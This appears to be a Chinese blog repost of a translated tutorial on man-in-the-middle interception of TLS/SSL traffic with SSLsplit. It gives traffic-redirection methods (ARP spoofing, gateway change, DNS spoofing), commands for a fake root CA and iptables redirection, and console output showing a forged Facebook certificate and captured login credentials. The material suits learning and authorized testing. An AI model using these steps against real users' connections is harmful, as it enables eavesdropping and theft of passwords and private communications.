• 使用sslsplit嗅探tls/ssl连接


    首先发一个从youtube弄到的sslsplit的使用教程

    http://v.qq.com/page/x/k/s/x019634j4ks.html

    我最近演示了如何使用mitmproxty执行中间人攻击HTTP(S)连接。当mitmproxy工作支持基于HTTP的通信,它不了解其他基于基于TLS/SSL的流量,比如FTPS,通过SSL的SMTP,通过SSL的IMAP或者其他一些覆盖TLS/SSL的协议。

    SSLsplit是一般的通过所有安全通信协议来进行中间人攻击TLS/SSL代理。使用SSLsplit可以拦截保存基于SSL流量,从而监听任何安全连接。

    1、工作原理

    SSLsplit和其他SSL代理工具十分相似:它可以作为客户端和服务器之间的中间人。只要流量被重定向到SSLsplit运行(更改默认网关、ARP欺骗或其他手段)的服务器,SSLsplit开始进行SSL连接并假装是客户端连接到的服务器。要做到这一点,它会动态声称一个证书,使用CA证书的私钥(客户端信任的)签名。

    举个例子,如果一个客户想要使用Gmail SMTP服务器发一封email(smtp.gmai.com 端口为465,SSLsplit创建了一个证书,然后假装成Gmail的mail服务器指向客户端。在上行方向(指向真正的Gmil服务器),SSLsplit连接到客户端,很像衣蛾普通的客户端——转发所有的实际客户端写的流量。

    如果你对细节有兴趣,请查看如何工作部分的博客,关于HTTP截获与mitmproxy。其基本概念是相同的,所以比较容易理解。

    2、安装运行SSLsplit

    如何拦截SSL(和非SSL)流量。

    2.1 流量重定向

    2.1.1 使用ARP欺骗通过发布到攻击者的IP地址,从标准的网关的MAC地址映射虚假重定向受害者的流量。你并不需要物理访问受害者。查看arpspoof工具。

    2.1.2 修改受害者的默认网关。

    2.1.3 最简单的方法是有机会接触到受害人的设备。

    2.1.4 加强DSN和可以反悔攻击者IP地址的DNS服务器入口。看关于DNS spoofing的教程。

    2.1.5 通过修改/etc/hosts文件重定向每个域。

    上面提到的最简单的方法就是改变受害者的默认网关地址,将其改为攻击者的IP。确保流量通过你的机器。因为我们之后需要安装CA证书,我们需要物理访问受害者的机器。

    2.2 安装

    下载并编译SSLsplit

    1
    2
    3
    4
    5
    6
    7
    wget http://mirror.roe.ch/rel/sslsplit/sslsplit-0.4.7.tar.bz2
    bunzip2 sslsplit-0.4.7.tar.bz2  
    tar xvf sslsplit-0.4.7.tar  
    cd sslsplit-0.4.7
    apt-get install libssl-dev libevent-dev
    make
    mkdir /tmp/sslsplit

    2.3 创建并安装根CA证书

    为了让SSLsopit可以充当中间人,它受害者必须信任存储攻击者的根CA证书。根据客户端(浏览器、电话)的类型,根证书还是有些不同的

    生成一个CA私钥和证书:

    openssl需要为最新版,要不会出现莫名奇妙的问题,Ubuntu16自带openssl1.0.1g最新版

    1
    2
    openssl genrsa -out ca.key 4096
    openssl req -new -x509 -days 1826 -key ca.key -out ca.crt

    2.4 启用IP转发和NAT引擎(iptables)

    在这个例子里,SSLsplit将在两个端口上运行:8080 用在非SSL TCP连接,比如HTTP,SMTP或者TFP;8443用于SSL连接,比如通过SSL的SMTP,HTTPS等。未来装法到达攻击者机器的包到这些内部端口,NAT引擎可以被使用。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    sysctl -w net.ipv4.ip_forward=1
    iptables -t nat -F
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
    iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
    iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
    iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
    iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
    iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

    2.5 运行SSLsplit

    一旦IP转发非常活跃,数据包被转发到相关端口,你就可以开始SSLsplit。这些听起来很简单,事实也是如此。因为SSLsplit是一个非常强大的工具,因此非常灵活。可以查看更详细的SSLsplit手册来查看更多信息。

    合理的参数配置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ./sslsplit 
      -D 
      -l connections.log 
      -j /tmp/sslsplit/ 
      -S logdir/ 
      -k ca.key 
      -c ca.cer 
       ssl 0.0.0.0 8443 
       tcp 0.0.0.0 8080

    此命令在调试模式下启动SSLsplit (-D,在前台运行,后台没有,详细输出),输出城市连接在日志文件”connections.log”(-l...)。真正的连接内容被写在”/tmp/sslsplit/logdir/“(-j...和-S..)每个单独文件中的每个连接的传入/传出TCP流。

    假设你的配置正确,那现在就可以开始浏览和发送/接收电子邮件了。SSLsplit在控制台上输出连接的详细信息:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    root@pbox:~/sslsplit-0.4.7# ./sslsplit -D -l connections.log -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
    Generated RSA key for leaf certs.
    SSLsplit 0.4.7 (built 2013-07-15)
    Copyright (c) 2009-2013, Daniel Roethlisberger <daniel@roe.ch>
    http://www.roe.ch/SSLsplit
    Features: -DDISABLE_SSLV2_SESSION_CACHE -DHAVE_NETFILTER
    NAT engines: netfilter* tproxy
    netfilter:  IP_TRANSPARENT SOL_IPV6 !IPV6_ORIGINAL_DST
    compiled against OpenSSL 1.0.1c 10 May 2012 (1000103f)
    rtlinked against OpenSSL 1.0.1c 10 May 2012 (1000103f)
    TLS Server Name Indication (SNI) supported
    OpenSSL is thread-safe with THREADID
    SSL/TLS algorithm availability: RSA DSA ECDSA DH ECDH EC
    OpenSSL option availability: SSL_OP_NO_COMPRESSION SSL_OP_NO_TICKET SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION SSL_OP_TLS_ROLLBACK_BUG
    compiled against libevent 2.0.19-stable
    rtlinked against libevent 2.0.19-stable
    4 CPU cores detected
    proxyspecs:
    - [0.0.0.0]:8080 tcp plain netfilter
    - [0.0.0.0]:8443 ssl plain netfilter
    Loaded CA: '/C=DE/ST=HE/O=Fake CA Certificate/CN=Fake CA Certificate'
    Using libevent backend 'epoll'
    Event base supports: edge yes, O(1) yes, anyfd no
    Inserted events:
      0x94b380 [fd 7] Read Persist
      0x94ba40 [fd 8] Read Persist
      0x94d4c0 [fd 9] Read Persist
      0x94b1b8 [fd 6] Read Persist
      0x94d550 [fd 3] Signal Persist
      0x94d7b0 [fd 1] Signal Persist
      0x94d920 [fd 2] Signal Persist
      0x94da90 [fd 13] Signal Persist
    Started 8 connection handling threads
    Starting main event loop.
    SNI peek: [www.facebook.com] [complete]
    Connecting to [31.13.81.33]:443
    ===> Original server certificate:
    Subject DN: /C=US/ST=California/L=Palo Alto/O=Facebook, Inc./CN=*.facebook.com
    Common Names: *.facebook.com/*.facebook.com/facebook.com
    Fingerprint: f5:6b:f2:44:63:b0:bd:61:36:c5:e8:72:34:6b:32:04:28:ff:4d:7c
    Certificate cache: MISS
    ===> Forged server certificate:
    Subject DN: /C=US/ST=California/L=Palo Alto/O=Facebook, Inc./CN=*.facebook.com
    Common Names: *.facebook.com/*.facebook.com/facebook.com
    Fingerprint: 54:de:df:bb:30:95:36:57:c9:11:8d:5f:1f:b6:53:cc:0e:12:e5:b3
    ssl [192.168.178.20]:39447 [31.13.81.33]:443 sni:www.facebook.com crt:*.facebook.com/*.facebook.com/facebook.com origcrt:*.facebook.com/*.facebook.com/facebook.com

    每个文件指示TCP socket可以被打开,显示确切的时间、源和目的IP地址和端口。你可以在文件头中看到:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    root@pbox:/tmp/sslsplit/logdir# head 20130804T162258Z-[192.168.178.20]:39327-[31.13.81.33]:443.log 
    GET / HTTP/1.1
    Host: www.facebook.com
    Connection: keep-alive
    Cache-Control: max-age=0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36
    Accept-Encoding: gzip,deflate,sdch
    Accept-Language: en-US,en;q=0.8
    Cookie: …

    3、示例

    你可以使用SSLsplit监听不同的协议。下面是HTTPS,通过SSL的IMAP和通过SSL的SMTP几个例子。

    3.1 嗅探HTTPS(google.de & facebook.com)

    一旦SSLsplit开始运行,在客户端和实际服务器之间的所有通信都通过SSLsplit。使用-d选项,SSLsplit 打印出连接和证书伪造在STDOUT。除此之外,内容被logdir(”/tmp/sslsplit/logdir”)中。使用  tail -f /tmp/sslsplit/loggdir/20130804T162301Z-*.log,你可以follow客户端和服务器之间的通信。

    上面的截图中显示了SSLsplit的输出。这表明上游的Facebook证书是真的,通过SSLsplit伪造证书,两个指纹不同,因为它是由不同的证书颁发机构签署。

    较低的控制台显示了HTTPS通信的内容。该截图显示了HTTPS POST请求“https://www.facebook.com/login.php?login_attempt=1”,包括我的用户名(&email=)和密码(&pass=)。

    如果一个人点击小锁图片上的任何SSL/TLS加密网站,同时通过SSLsplit将流量重定向,该证书发放给真正的CN,组织(O),和组织单位(OU),但不通过真正的CA颁发。

    http://p8.qhimg.com/t0145b247455829eb4f.png

    http://p0.qhimg.com/t01c1c4b1168edb709e.png

    其他例子可以查看http://blog.philippheckel.com/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/

    本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
    原文链接:http://blog.philippheckel.com/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/

    以上是原文

    下图是我的测试成功图片

  • 相关阅读:
    AJAX基础
    DOM事件机制(事件捕获和事件冒泡和事件委托)
    http协议
    DOM实战-js todo
    python常见面试题
    jQuery快速入门
    三级菜单
    购物车
    员工信息表
    random模块
  • 原文地址:https://www.cnblogs.com/nightnine/p/5426229.html
Copyright © 2020-2023  润新知